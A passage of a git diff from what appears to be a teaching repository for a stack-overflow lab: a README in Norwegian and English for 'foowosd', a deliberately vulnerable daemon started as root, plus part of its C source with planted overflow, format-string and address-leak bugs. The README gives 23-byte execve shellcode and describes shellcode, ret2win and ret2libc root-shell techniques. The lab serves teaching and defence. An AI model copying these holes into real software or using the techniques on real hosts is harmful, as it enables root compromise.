laboratoriene, så den felles objdump-baserte oppdagelsespipelinen virker
uendret.
---
## Slik inspiserer du daemonen (læringssti)
```
make status # kjører den? som hvilken uid? filtillstand vises
make run-root # eller run / run-root-ns
./foowosc -t leak # se banneret og leaks, send ingenting
./foowosc -t demo # søppel-overløp -> SIGSEGV, logget med RIP/rsp
./foowosc -t shellcode # den interaktive root-shellen
make test-root # full matrise, alle teknikkene, --must-root
```
Crash-reporter: Ved SIGSEGV logger daemonen feiladressen, RIP og RSP. Et `ret`
inn i en ikke-kanonisk `0x4141…` feiler ved `ret`-et selv (RIP som `0x4028xx`,
`si_addr=(nil)`) — verdt å vite før du feilleser en logglinje som en
NULL-dereferanse.
---
## Hvorfor shellcoden er 23 bytes, ikke 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
SUID-laboratoriet trenger `setreuid(0,0)` foran dette. Dette laboratoriet ikke,
av den grunnen som gjentas overalt: **ruid er allerede 0**, fordi root startet
prosessen. `make verify` beviser at bytene i `foowosc.c` er byte-for-byte det
`shellcode.S` assemblerer til.
---
## Mottiltak — hva `make hardened` endrer
Hardet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| teknikk | sårbar `foowosd` | hardet `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (kjørbar stack) | SIGSEGV ved canary-sjekken / NX |
| `ret2win` / `ret2libc` | root-shell | canary aborter `ret` — men merk: en *PIE*-build gjør også disse adressene tilfeldige |
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
`make test-hardened` demonstrerer det live. Den viktige observasjonen er ikke
bare at mottiltakene drepte teknikkene — det er at de **ikke** gjorde daemonen
til «ikke-root». En hardet build som fortsatt *startes* som root, er fortsatt en
root-daemon; mottiltaket hever bare lista for angriperen. Minste privilegium
(`drop_privs()`) og minnesikkerhet er to forskjellige feil, og en daemon som
ikke trenger root, bør ikke ha det.
---
## Sikkerhetsgelendere (samme politikk som SUID-laboratoriet)
- **Bare loopback.** foowosd nekter å binde noe annet enn `127.0.0.1` /
`localhost` / `::1`, med mindre du gir `-L`. En root-daemon på et ekte
grensesnitt er en *fjern* root-tjeneste. `-L` finnes bare for å vise vakten;
ikke bruk den på noe som betyr noe.
- **Tilstanden logges høyt.** Ved start skriver den ut `ruid/euid` og om dette
er en root-prosess, så du alltid vet hvilket exploit-resultat du skal vente.
- **Dommer kommer fra exit-status** i `make test*` (pty-harnessens
returkode), aldri fra å greppe stdout-en dens — grepbar utdata lyver.
- **pty-en må kjøre cooked + ECHO off**, ellers ekkoer harnessen sin egen
kommandolinje og forfalsker markøren. Harnessen slår av ECHO og beholder
ECHONL på.
- **Oppryddingsritual:** `make stop` etter hver økt. Hvis daemonen er
root-eid, sier `stop` deg å kjøre `sudo pkill -x foowosd`.
- Kjør aldri dette på en vert du bryr deg om. Det finnes for å dele ut
`uid=0`-shells over loopback-grensesnittet.
---
## Øvelser
1. Kjør `make run` (user-daemon), deretter `./foowosc -t shellcode`. Hvorfor er
shellen ikke root? (Sjekk `ids=` i banneret — foowosc sier deg det før du i
det hele tatt kobler til.)
2. `make stop && sudo make run-root && make test-root`. Forklar ut fra
bannerlinjen hvorfor alle fire teknikkene nå gir `uid=0(root)`.
3. Finn i `foowosd.c` `drop_privs()` og les *hvorfor rekkefølgen* av
`setgroups → setgid → setuid` betyr noe. Bestem hvor i `main()` den ville
hørt hjemme, og hva laboratoriets angrepsflate blir når den faktisk kalles.
4. Beregn `rip_off` for hånd ut fra `objdump -d foowosd`: finn `buf`s
`lea -0xNN(%rbp)` inne i `vulnerable_handler`, deretter `NN + 8`. foowosc
gjør nøyaktig det; sjekk regnestykket dens mot ditt eget.
5. `make hardened && make test-hardened`. Hvilken teknikk faller for canaryen,
og hvilken for NX? Hvorfor endrer ikke hærdning hva `make status` rapporterer
om *prosessen*?
6. Sammenlign de to laboratorienes shellcodes: 23 bytes her, 32 for foosd. Hva
gjør de ekstra 9 bytene, og hvorfor trengs de bare i SUID-tilfellet?
7. Les `become_shell()`s kommentar om den enkelte lese-cursoren. Gjenskap
feiltilstanden mentalt: to lesere på én socket betyr at login-shellen spiser
ett byte per chunk — «uid=1000…» ankommer som «id=1000…». Hvorfor kan en
relay-prosess aldri ha denne feilen?
---
## Filer
```
foowosd.c den sårbare root-daemonen (hver linje kommentert)
foowosc.c exploitet (hver linje kommentert)
shellcode.S referanse-assembly for 23-byte-payloaden
tests/pty_wosuid_test.c pty-harnessen (markør + streng id-form-sjekk)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevisst
forskjellige — du kan kjøre alle tre samtidig og kryssjekke `ids=`-linjene
deres i banneret.

305
wosuid/README.md Normal file
View file

@ -0,0 +1,305 @@
# The `wosuid` lab — root RCE with **no** setuid bit
```
foowosd an intentionally vulnerable daemon that is root because it was
*STARTED* as root (port 2344, loopback-only by default)
foowosc the exploit: turns a stack overflow into a **root** shell by
executing shellcode — same 23 bytes that pwned the user-level
`food` daemon in the parent lab
```
This is the third lab in the series. Same exploit toolchain, same style, one
fundamental difference:
| lab | how the target process becomes root | `uid=0(root)` shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| never — it is a plain user daemon | no |
| foosd/foosc | the SUID bit (`chmod u+s`) — euid 0, ruid 1000 | yes (needs `setreuid` in the shellcode, because bash resets euid→ruid) |
| **foowosd/foowosc** | **none — root *starts* the daemon** (sudo / systemd `User=root`) | **yes (plain `execve` shellcode)** |
The setuid bit is a *transfer vehicle* for privilege — not the privilege
itself. A daemon launched by root has real, effective and saved uid all equal
to 0. To the kernel that is root, period; it cannot and does not care whether
the process got there via `+s` on a file or via `sudo ./foowosd`. So the
overflow in a root-started daemon is a root exploit — *"I don't have SUID
binaries" is not the same as "I am not exploitable".*
That is the whole lesson of this lab. Everything below is the machinery.
---
## Quick start (what the user requested)
```
cd wosuid
make # build the daemon, the exploit, and the test harness
```
### The real thing — run the daemon as **root**
```
sudo make run-root # starts foowosd as uid 0 (process, not file mode)
make test-root # every technique must now yield uid=0(root)
```
### No sudo? The identical kernel path via a user namespace
```
make run-root-ns # uid 0 inside a user namespace — no password needed
make test-root # same verdicts; used by CI and anyone without sudo
```
### Baseline — daemon as your normal user (no root anywhere)
```
make run # foowosd runs with your uids
make test # exploits land shells, but `root` is expected MISSING
```
### Cleanup ritual (always: this is a root-shell lab)
```
make stop
```
`foowosd` is *not* setuid and nothing in this directory ever chmods `+s` —
that is the point. The dangerous state is the **process**, not the file.
---
## When you are told to set the SUID bit
You are **not** going to. This lab deliberately has no SUID bit:
- `foowosd` is built, owned and mode-regular like any other program.
- It becomes root the way real daemons do — by being *started* by root.
- `make run-root` uses `sudo` for exactly that, and `make run-root-ns` gets
a genuinely uid-0 process without any of it.
The suid bit belongs to the *sibling* lab (`foosd`). The contrast between the
two is the syllabus:
1. SUID lab: the bit gives **euid 0 but ruid 1000** → `execve("/bin/sh")` is
demoted by bash's guard (`euid != ruid` → reset) → shellcode must call
`setreuid(0,0)` first (32-byte payload).
2. This lab: root **starts** the process → **ruid == euid == 0** → the guard
has nothing to reset → the plain 23-byte `execve` shellcode keeps root.
Same overflow. Same technique. Different *origin* of privilege, different
payload shape. That is the lesson in miniature.
---
## The protocol
Whatever kind of client connects, foowosd greets it with:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (the banner + leaks)
BUF=0x7ffd… (the buffer address)
```
`ids=euid/ruid` is the *"am I root?"* side-channel. foowosc prints a loud
warning when euid is not 0 (i.e. you started the daemon as a plain user): the
payload will still land, but the shell will be a user shell, and calling the
exploit "broken" would be wrong — it is merely not escalating.
> Spelling note: `ids=`, not `euid=`/`ruid=`. The test harness proves a live
> `id` ran by matching the literal `uid=NNN(` shape, so the banner must never
> contain a substring that itself satisfies the check. (In the SUID lab this
> exact trap produced a spectacular false positive.)
---
## The exploit techniques (`foowosc -t …`)
All four exploit paths below work against foowosd. When the daemon is root,
**all four that spawn anything yield root** — unlike the SUID lab, where
ret2win/ret2libc were quietly demoted to uid 1000 by bash's guard. Here there
is no mismatch to guard against.
| `-t` | what happens | when daemon is root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` runs on the stack. | **root shell** (default) |
| `ret2win` | jump to `win()` → `execl("/bin/sh")` | **root shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root shell** |
| `demo` | junk overflow only — expect a SIGSEGV in the daemon log | crash, by design |
| `leak` | just print the leaks, send no payload | n/a |
```
./foowosc -t shellcode # interactive; default target 127.0.0.1:2344
./foowosc -t shellcode -n # send and report, no interactive session
```
A successful interactive session relays your terminal to the shell *on the
victim* — there is exactly one shell in the picture, and it is `/bin/sh`
running as root inside foowosd. Type `id` to see `uid=0(root)`.
### Why there is no `ret2win-root` technique here
foosc had one — it jumped to a `win_root()` that called `setreuid(0,0)`
before exec, because a setuid process ran with a real uid that still said
1000. A root-*started* process has real uid 0 already; there is nothing to
clear, so the extra function and technique would be teaching nothing.
Removed.
---
## What foowosc does, step by step
1. **Static analysis** — `objdump -d` of `./foowosd`. Finds
`vulnerable_handler`, `win()`, the `lea -0x50(%rbp)` that addresses `buf`,
and the first bare `ret`. From the displacement it computes
`rip_off = 80 + 8 = 88`. Nothing is hardcoded; this survives a rebuild.
2. **Self-introspection** — reads its own `/proc/self/maps` and `dlsym()`s
`system`/`read` to learn libc *offsets*. The target's libc base is
`leaked_read − off_read`, then `system = base + off_system`, and so on.
This delta-arithmetic is why exploits stay alive across libc versions.
3. **Connect** — reads the banner/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Build the payload** — for `shellcode`: 23 bytes of machine code, padding
to `rip_off`, then the saved RIP = `buf` (so `ret` jumps onto the code).
For `ret2win`/`ret2libc`: addresses computed from analysis — no execution
of the stack needed.
5. **The alignment fix** — a hijacked bare `ret` hands the callee `rsp ≡ 8
(mod 16)`, and glibc's SSE2 code `movaps`-faults on a misaligned stack (the
crash reporter logs `si_addr=(nil)` — the tell). foowosc inserts one extra
`ret` gadget before the real target, restoring the invariant. Kid-gloves
engineering in a shellcode lab, but it is the difference between a payload
that "sometimes works" and one that always works.
6. **Send, then relay** — the victim process *is* the shell; this process only
splices bytes. No local shell, no second reader — the single-read-cursor
failure (one byte eaten off every chunk) is documented in `become_shell()`.
---
## The daemon's deliberate bugs (all in `foowosd.c`, all real CWE classes)
| # | bug | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` into a 64-byte stack buffer | CWE-120 | the overflow: 448 bytes past `buf`, saved RIP at +88 |
| 2 | `snprintf(line, …, "%.*s", …)` only; but attacker `%` in the echo path | CWE-134 | the leak is the real payload here; a `%n` in a *root* process would be write-what-where as root |
| 3 | children keep root while handling untrusted input | CWE-271 | the correct `drop_privs()` (setgroups→setgid→setuid, in that order, with a verify) sits in the file, commented, *deliberately uncalled* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` disclosed to every client | CWE-200 | without these leaks the shellcode and ret2libc techniques could not compute addresses (ASLR would defeat them) |
The handler is exactly the same `buf[64]`/`read(512)` shape as the other two
labs, so the shared objdump-based discovery pipeline works unchanged.
---
## How to inspect the daemon (learning path)
```
make status # is it running? as which uid? file mode shown
make run-root # or run / run-root-ns
./foowosc -t leak # see the banner and the leaks, send nothing
./foowosc -t demo # junk overflow -> SIGSEGV, logged with RIP/rsp
./foowosc -t shellcode # the interactive root shell
make test-root # full matrix, all techniques, --must-root
```
Crash reporter: on SIGSEGV the daemon logs the faulting address, RIP and RSP.
A `ret` into non-canonical `0x4141…` faults at the `ret` itself (RIP like
`0x4028xx`, `si_addr=(nil)`) — worth knowing before you misread a log line as
a NULL dereference.
---
## Why the shellcode is 23 bytes, not 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
The SUID lab needs `setreuid(0,0)` before this. This lab does not, for the
reason repeated throughout: **ruid is already 0** because root started the
process. `make verify` proves the bytes in `foowosc.c` are byte-for-byte what
`shellcode.S` assembles to.
---
## Mitigations — what `make hardened` changes
Hardened build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| technique | vulnerable `foowosd` | hardened `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root shell (executable stack) | SIGSEGV at the canary check / NX |
| `ret2win` / `ret2libc` | root shell | canary aborts `ret` — but note: a *PIE* build also makes those addresses random |
| `demo` | SIGSEGV, logged | SIGSEGV, logged |
`make test-hardened` demonstrates this live. The important observation is not
just that the mitigations killed the techniques — it is that they did **not**
make the daemon "not root". A hardened build that is still *started* as root
is still a root daemon; the mitigation only raises the bar for the attacker.
Least privilege (`drop_privs()`) and memory safety are two different bugs,
and a daemon that does not need root should not have it.
---
## Safety rails (same policy as the SUID lab)
- **Loopback only.** foowosd refuses any bind other than `127.0.0.1` /
`localhost` / `::1` unless you pass `-L`. A root daemon on a real interface
is a *remote* root service. `-L` exists solely to show the guard; do not
use it on anything that matters.
- **State is logged loudly.** Startup prints `ruid/euid` and whether this is
a root process, so you always know which exploit outcome to expect.
- **Verdicts come from exit statuses** in `make test*` (the pty harness's
return code), never from grepping its stdout — greppable output lies.
- **pty must run cooked + ECHO off** or the harness echoes its own command
line and fakes the marker. The harness turns ECHO off and keeps ECHONL on.
- **Cleanup ritual:** `make stop` after every session. If the daemon is
root-owned, `stop` tells you to run `sudo pkill -x foowosd`.
- Never run this on any host you care about. It exists to hand out `uid=0`
shells over the loopback interface.
---
## Exercises
1. Run `make run` (user daemon), then `./foowosc -t shellcode`. Why is the
shell not root? (Check `ids=` in the banner — foowosc tells you before you
even connect.)
2. `make stop && sudo make run-root && make test-root`. Explain, from the
banner line, why all four techniques now yield `uid=0(root)`.
3. In `foowosd.c`, find `drop_privs()` and read *why the order* of
`setgroups → setgid → setuid` matters. Decide where in `main()` it would
belong, and what the lab's exploit surface becomes once it is actually
called.
4. Compute `rip_off` by hand from `objdump -d foowosd`: find `buf`'s
`lea -0xNN(%rbp)` inside `vulnerable_handler`, then `NN + 8`. foowosc does
exactly this; check its math against your own.
5. `make hardened && make test-hardened`. Which technique falls to the canary
and which to NX? Why does hardening not change what `make status` reports
about the *process*?
6. Compare the two labs' shellcodes: 23 bytes here, 32 for foosd. What does
the extra 9 bytes do, and why is it only needed in the SUID case?
7. Read `become_shell()`'s comment about the single read cursor. Recreate the
failure mode mentally: two readers on one socket means the login shell eats
one byte per chunk — "uid=1000…" arrives as "id=1000…". Why can a relay
process never have this bug?
---
## Files
```
foowosd.c the vulnerable root daemon (every line commented)
foowosc.c the exploit (every line commented)
shellcode.S reference assembly for the 23-byte payload
tests/pty_wosuid_test.c the pty harness (marker + strict id-shape checks)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Sibling labs: `../food.c`/`../fooc.c` (user-level baseline, port 2342) and
`../suid/` (SUID-root daemon `foosd`/`foosc`, port 2343). Ports are distinct
on purpose — you can run all three at once and cross-check their banners'
`ids=` lines.

1130
wosuid/foowosc.c Normal file

File diff suppressed because it is too large Load diff

669
wosuid/foowosd.c Normal file
View file

@ -0,0 +1,669 @@
/*
* ============================================================================
* foowosd.c -- "foowosd": an INTENTIONALLY VULNERABLE daemon that becomes
* root the honest way: by being STARTED as root.
* ============================================================================
*
* PURPOSE
* -------
* This is the "no setuid bit" companion to the other two labs:
*
* food / fooc a plain daemon: the overflow gives you a user shell
* foosd / foosc a SETUID-root daemon: root arrives via the +s bit
* foowosd/ foowosc THIS one: no +s bit anywhere. Root arrives because
* somebody STARTED the process as root.
*
* The setuid bit is not the only way a process ends up privileged. Any
* daemon launched by root -- a `sudo ./foowosd`, a systemd unit with
* `User=root`, an init script -- has real uid 0, effective uid 0, and saved
* uid 0. To the kernel and to every access-control check it makes, that
* process IS root, indistinguishable from one that arrived there via +s.
* And an overflow in a root process is a root exploit, filesystem
* attributes notwithstanding.
*
* THAT is the lesson of this file: the setuid bit is a *transfer vehicle*
* for privilege, not the privilege itself. "I don't have SUID binaries" is
* NOT the same as "I am not vulnerable to privilege escalation". If your
* daemon runs as root and it has a reachable memory-safety bug, you have a
* root-exploit -- with or without the letter 's' in anyone's file mode.
*
* WHY THE EXPLOIT HERE IS DIFFERENT FROM THE SUID LAB -- ruid
* ----------------------------------------------------------
* A setuid-root binary gives the process euid 0 but LEAVES ruid at the
* launching user's id (1000). bash and dash notice `euid != ruid` at
* startup and reset euid = ruid -- the shell's own guard against this
* attack -- which is why foosc's shellcode had to call setreuid(0,0) first.
*
* A daemon *started* as root has ruid == euid == 0. There is no mismatch
* for the shell's guard to notice, so a plain `execve("/bin/sh")` keeps
* root -- no setreuid needed. The same 23 bytes that pwnd `food` in the
* parent lab, byte for byte, open a *root* shell against this daemon,
* because the process they run in is already fully root. The shellcode
* chosen for foowosc therefore does not contain a setreuid prefix.
*
* SAFETY RAILS (identical policy to the SUID lab -- a root daemon is no
* less dangerous because it got there without +s)
* -------------------------------------------------
* * Binds 127.0.0.1 by default and REFUSES a non-loopback bind unless you
* pass -L. A root daemon on a real interface is a remote root service.
* * Logs at startup whether it is running as root or as a normal user, so
* you always know which exploit outcome to expect.
* * Same deliberate bugs as food/foosd, so the whole toolchain
* (objdump-based offset discovery, leak parsing, alignment fix, pty
* harness) carries over unchanged.
*
* Build: make foowosd
* make run-root (needs sudo; starts the daemon as real root)
* make run-root-ns (no sudo: user-namespace root, for verification)
* make run (baseline: starts it as your normal user)
*
* HOW TO BECOME ROOT HERE -- and how NOT to
* -----------------------------------------
* START AS ROOT: sudo make run-root -> ruid=0 euid=0
* START AS ROOT (ns): make run-root-ns -> namespaced 0/0 (test-only)
* PLAIN USER: make run -> ruid=1000 euid=1000
*
* The exploit behaves the same in all three cases -- it just yields a root
* shell in the first two. That "the agency, not the attribute, is what
* matters" property is the whole point of this lab.
*
* THE BUILD FLAGS (same deliberate removals as the other two labs)
* ----------------------------------------------------------------
* -fno-stack-protector no canary: the overflow is not detected
* -no-pie fixed addresses: win() is a constant
* -z execstack executable stack: shellcode can run
*
* `make hardened` re-enables all three; the maliciously shareable lesson is
* that those flags do nothing about the "running as root" design decision.
*
* Usage: ./foowosd [-h HOST] [-p PORT] [-d] [-L]
* ============================================================================
*/
/* Request the gnu decls we need (dprintf, etc.). */
#define _GNU_SOURCE
#include <arpa/inet.h> /* inet_pton(): parse "127.0.0.1" into bytes. */
#include <errno.h> /* errno, strerror(). */
#include <fcntl.h> /* dup2() -- hand the accepted socket to the shell. */
#include <grp.h> /* setgroups(): part of the (never-called) privilege
* drop -- supplementary groups must go first. */
#include <netinet/in.h>/* struct sockaddr_in, htons(). */
#include <signal.h> /* signal(), sigaction(). */
#include <stdarg.h> /* va_list for our log wrapper. */
#include <stdint.h> /* uint16_t. */
#include <stdio.h> /* dprintf, snprintf. */
#include <stdlib.h> /* atoi, _exit. */
#include <string.h> /* memset, strncmp, memchr, strlen. */
#include <sys/socket.h>/* socket, bind, listen, accept. */
#include <sys/stat.h> /* umask. */
#include <sys/types.h> /* ssize_t, pid_t. */
#include <sys/ucontext.h>/* ucontext_t: REG_RIP etc. for the crash reporter. */
#include <sys/wait.h> /* waitpid(). */
#include <unistd.h> /* read, write, dup2, fork, getpid, setsid, chdir. */
/* ------------------------------------------------------------------------- */
/* Configuration constants */
/* ------------------------------------------------------------------------- */
/* Port. 2344 keeps this lab clear of food (2342) and foosd (2343). It is
* above 1024 on purpose: binding it needs NO privilege, so root here is
* pure design smell -- a correct daemon would drop privileges after bind,
* and the lab's whole point is what happens when it does not. */
#define FOOWOSD_PORT 2344
/* Loopback is the ONLY default. -L is required to go further. */
#define FOOWOSD_HOST "127.0.0.1"
/* Size of the overflowed buffer. Same shape as food/foosd so the shared
* objdump-based offset detection works unchanged. */
#define FOOWOSD_BUFSZ 64
/* How much read() accepts. The mismatch with FOOWOSD_BUFSZ IS the bug. */
#define FOOWOSD_READMAX 512
/* Size of the second (format-string demo) buffer. */
#define FOOWOSD_LOGSZ 128
/* ------------------------------------------------------------------------- */
/* Logging (same design as the other labs: the log never reaches the attacker)*/
/* ------------------------------------------------------------------------- */
/* g_logfd -- a private copy of stdout taken BEFORE the socket is dup2()'d
* over fd 1. Every logmsg() line goes here, so a client that overwrites our
* memory or crashes a child never learns internal paths or addresses from
* logs (and never mixes its own bytes with ours). */
static int g_logfd = -1;
/* logmsg() -- timestamped, pid-prefixed line to the log descriptor. One
* write() per line, so forked children cannot interleave mid-line. */
static void logmsg(const char *fmt, ...)
{
char line[1024]; /* Whole-message scratch. */
va_list ap; /* Variadic argument cursor. */
int n; /* Bytes formatted. */
/* va_start MUST precede any use of ap. An uninitialised va_list makes
* vsnprintf walk wild stack memory -- a real bug that was hit in the
* earlier food.c, hence the comment. */
va_start(ap, fmt);
n = vsnprintf(line, sizeof(line) - 32, fmt, ap);
va_end(ap); /* Always pair va_start with va_end. */
if (n < 0)
return;
if (g_logfd >= 0)
dprintf(g_logfd, "[foowosd %d] %s\n", (int)getpid(), line);
}
/* read_exact() / write_all() -- the CORRECT I/O helpers, present so you can
* hold them next to the deliberately broken read() in vulnerable_handler()
* and see the difference: these loop until done and check every result. */
__attribute__((unused))
static ssize_t read_exact(int fd, void *buf, size_t n)
{
size_t got = 0;
while (got < n) {
ssize_t r = read(fd, (char *)buf + got, n - got);
if (r < 0) {
if (errno == EINTR)
continue;
return -1;
}
if (r == 0)
break;
got += (size_t)r;
}
return (ssize_t)got;
}
static ssize_t write_all(int fd, const void *buf, size_t n)
{
size_t sent = 0;
while (sent < n) {
ssize_t w = write(fd, (const char *)buf + sent, n - sent);
if (w <= 0) {
if (w < 0 && errno == EINTR)
continue;
return -1;
}
sent += (size_t)w;
}
return (ssize_t)sent;
}
/* ------------------------------------------------------------------------- */
/* The ret2win target */
/* ------------------------------------------------------------------------- */
/*
* win() -- the "easy" backdoor. The same function as in food.c and foosd.c,
* and the difference between this lab and the SUID lab is contained in it.
*
* In the SUID lab this exact code produced a NON-root shell, because foosd
* had euid 0 but ruid 1000, and bash reset euid = ruid at startup.
*
* Here the daemon is STARTED as root, so at this instant ruid == euid == 0.
* fork() inherits both ids, execve() changes neither, and bash starts with
* equal uid 0s -- its guard has nothing to reset, so execve("/bin/sh") keeps
* root. "spawn a shell" works against a genuinely-root process; it only
* fails against the half-root (euid-only) state the setuid bit produces.
* That asymmetry -- why one lab needs setreuid and this one does not -- is
* the entire technical heart of the two labs side by side.
*/
__attribute__((noinline, used))
static void win(void)
{
pid_t pid;
logmsg("win() reached -- exec'ing /bin/sh (ruid==euid here, so the shell "
"stays root; contrast with foosd where ruid stayed 1000)");
/* Fork so the daemon's accept-loop child can be reaped and return. */
pid = fork();
if (pid < 0) {
logmsg("win(): fork() failed: %s", strerror(errno));
_exit(1);
}
if (pid > 0) {
waitpid(pid, NULL, 0);
/* Must NOT return: that would pop attacker bytes as the next RIP. */
_exit(0);
}
/* Child. prepare_client_fds() already made fds 0/1/2 the socket. */
execl("/bin/sh", "sh", (char *)NULL);
_exit(127); /* Only reached if exec failed. */
}
/* ------------------------------------------------------------------------- */
/* The vulnerable handler -- Bug #1 and Bug #2 live here */
/* ------------------------------------------------------------------------- */
__attribute__((noinline, used))
static void vulnerable_handler(int fd)
{
char buf[FOOWOSD_BUFSZ]; /* 64 stack bytes. The whole ballgame. */
char line[FOOWOSD_LOGSZ]; /* Second buffer, for the format-string demo. */
ssize_t n; /* Bytes actually read. */
/*
* The BUF= leak -- the same deliberate CWE-200 disclosure as the other
* labs. The stack is ASLR-randomised; without this the shellcode could
* not find itself. Real-world leaks of this kind come from %p format
* bugs, crash dumps, debug endpoints, or serialised uninitialised
* pointers.
*
* FIX: never print addresses to untrusted clients.
*/
dprintf(fd, "BUF=%p\n", (void *)buf);
/*
* ====================================================================
* BUG #1 -- UNBOUNDED COPY INTO A FIXED STACK BUFFER (CWE-120)
* ====================================================================
* Identical to the other labs: 512 bytes are accepted into a 64-byte
* array, so the attacker writes 448 bytes past the end, overwriting the
* saved frame pointer and — 8 bytes later — the saved return address.
* On return, `ret` jumps wherever the attacker said:
*
* [ 64 bytes buf ][ 8 bytes saved rbp ][ 8 bytes RETURN ADDRESS ]
*
* The ONLY difference from food is *what that means*: here the hijacked
* process has real-and-effective uid 0 (it was started as root), so
* "attacker controls RIP" becomes "attacker controls root's RIP" --
* with no setuid bit anywhere on this filesystem.
*
* FIXES (in increasing order of strength):
* 1. n = read(fd, buf, sizeof(buf) - 1); <-- the real fix
* 2. -fstack-protector-strong (canary aborts `ret`)
* 3. do not take network input into fixed stack buffers at all
* And SEPARATELY: never run this daemon as root; and if you must, drop
* privileges the moment you are done binding (see drop_privs()). Memory
* safety and least privilege are two different bugs; fix both.
*/
n = read(fd, buf, FOOWOSD_READMAX); /* <-- CWE-120, THE bug. */
if (n <= 0)
return;
/* Echo back a truncated copy so you can watch the overflow in the log.
* Clamping for display does not undo the overwrite that already happened. */
{
ssize_t show = n < FOOWOSD_BUFSZ ? n : FOOWOSD_BUFSZ;
logmsg("vulnerable_handler: read %zd bytes, echoing %zd", n, show);
(void)write_all(fd, buf, (size_t)show);
}
/*
* ====================================================================
* BUG #2 -- NETWORK DATA USED AS A FORMAT STRING (CWE-134)
* ====================================================================
* Same as the other labs: attacker '%'-specifiers in `buf` could read
* stack words with %x or write memory with %n. Here the process is
* root, so a %n is a write-what-where primitive IN A ROOT PROCESS. It
* runs only on a copy in `line`, and only if the payload contains '%'.
*
* FIX: printf("%s", buf), never printf(buf).
*/
if (memchr(buf, '%', (size_t)n) != NULL) {
snprintf(line, sizeof(line), "%.*s", (int)FOOWOSD_LOGSZ - 1, buf);
logmsg("vulnerable_handler: payload contains '%%', echoing it raw");
(void)write_all(fd, line, strlen(line));
}
/* On return the (attacker-controlled) saved return address becomes RIP. */
}
/* ------------------------------------------------------------------------- */
/* Crash reporter (same rationale as the other labs: a crash should tell you */
/* it was malicious; the fault address is the return address the client */
/* supplied). */
/* ------------------------------------------------------------------------- */
static void on_sigsegv(int sig, siginfo_t *si, void *ucv)
{
ucontext_t *uc = (ucontext_t *)ucv;
unsigned long rip = 0, rsp = 0;
if (uc != NULL) {
rip = (unsigned long)uc->uc_mcontext.gregs[REG_RIP];
rsp = (unsigned long)uc->uc_mcontext.gregs[REG_RSP];
}
logmsg("SIGSEGV: faulting address %p", si ? si->si_addr : (void *)0);
logmsg("SIGSEGV: RIP=%#lx RSP=%#lx (RIP is the address the client "
"supplied)", rip, rsp);
logmsg("SIGSEGV: if RIP is a real address the attacker jumped there; "
"if it is an address INSIDE vulnerable_handler itself it IS the "
"`ret` instruction: a ret into a non-canonical address (e.g. "
"0x4141414141414141) faults at the ret, not at the target.");
/* Re-raise with the default disposition so the process still dies, with
* the correct status, rather than re-executing the faulting instruction
* forever (returning from this handler would do exactly that). */
signal(sig, SIG_DFL);
raise(sig);
}
static void install_crash_reporter(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = on_sigsegv; /* Extended two-argument handler. */
sa.sa_flags = SA_SIGINFO;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGSEGV, &sa, NULL) < 0)
logmsg("sigaction(SIGSEGV) failed: %s", strerror(errno));
if (sigaction(SIGBUS, &sa, NULL) < 0)
logmsg("sigaction(SIGBUS) failed: %s", strerror(errno));
}
/* ------------------------------------------------------------------------- */
/* fd handling */
/* ------------------------------------------------------------------------- */
/* prepare_client_fds() -- put the accepted socket onto fds 0/1/2 so that
* every technique (ret2win, ret2libc, shellcode) produces a shell that
* automatically speaks over the network. */
static void prepare_client_fds(int fd)
{
if (fd != STDIN_FILENO) dup2(fd, STDIN_FILENO);
if (fd != STDOUT_FILENO) dup2(fd, STDOUT_FILENO);
if (fd != STDERR_FILENO) dup2(fd, STDERR_FILENO);
if (fd > STDERR_FILENO) close(fd); /* Don't leak the spare descriptor.*/
}
/* ------------------------------------------------------------------------- */
/* THE INFORMATION LEAK */
/* ------------------------------------------------------------------------- */
/*
* send_leaks() -- tell the attacker:
*
* ids= this process's euid/ruid. THE "AM I ROOT ?" CHECK.
* foowosc prints a loud warning when euid is not 0,
* because without a root daemon there is no root shell
* and the user would otherwise think the exploit broke.
* leak stack=... an address on the stack, for the shellcode
* leak libc=... the real address of read() inside libc, for ret2libc
*
* The `ids=` spelling (rather than "euid="/"ruid=") is deliberate: the test
* harness proves a live shell by grepping the session transcript for the
* strict `id`-output shape "uid=NNN(", and a banner containing "uid=" as
* part of "euid="/"ruid=" would itself satisfy a careless grep. This kind of
* "the probe and the answer must not share a signature" thinking is what you
* do when you write real assertions about untrusted output.
*/
static void send_leaks(int fd)
{
long stack_marker = 0x4141414141414141L; /* Obvious in a debugger. */
ssize_t (*libc_read)(int, void *, size_t);/* Real address of read(). */
libc_read = &read; /* &read resolves through the GOT to libc. */
dprintf(fd, "FOOWOSD 1.0 ids=%d/%d leak stack=%p libc=%p\n",
(int)geteuid(), (int)getuid(),
(void *)&stack_marker, (void *)libc_read);
}
/* THE CORRECT DESIGN, PRESENT BUT NEVER CALLED
* -------------------------------------------
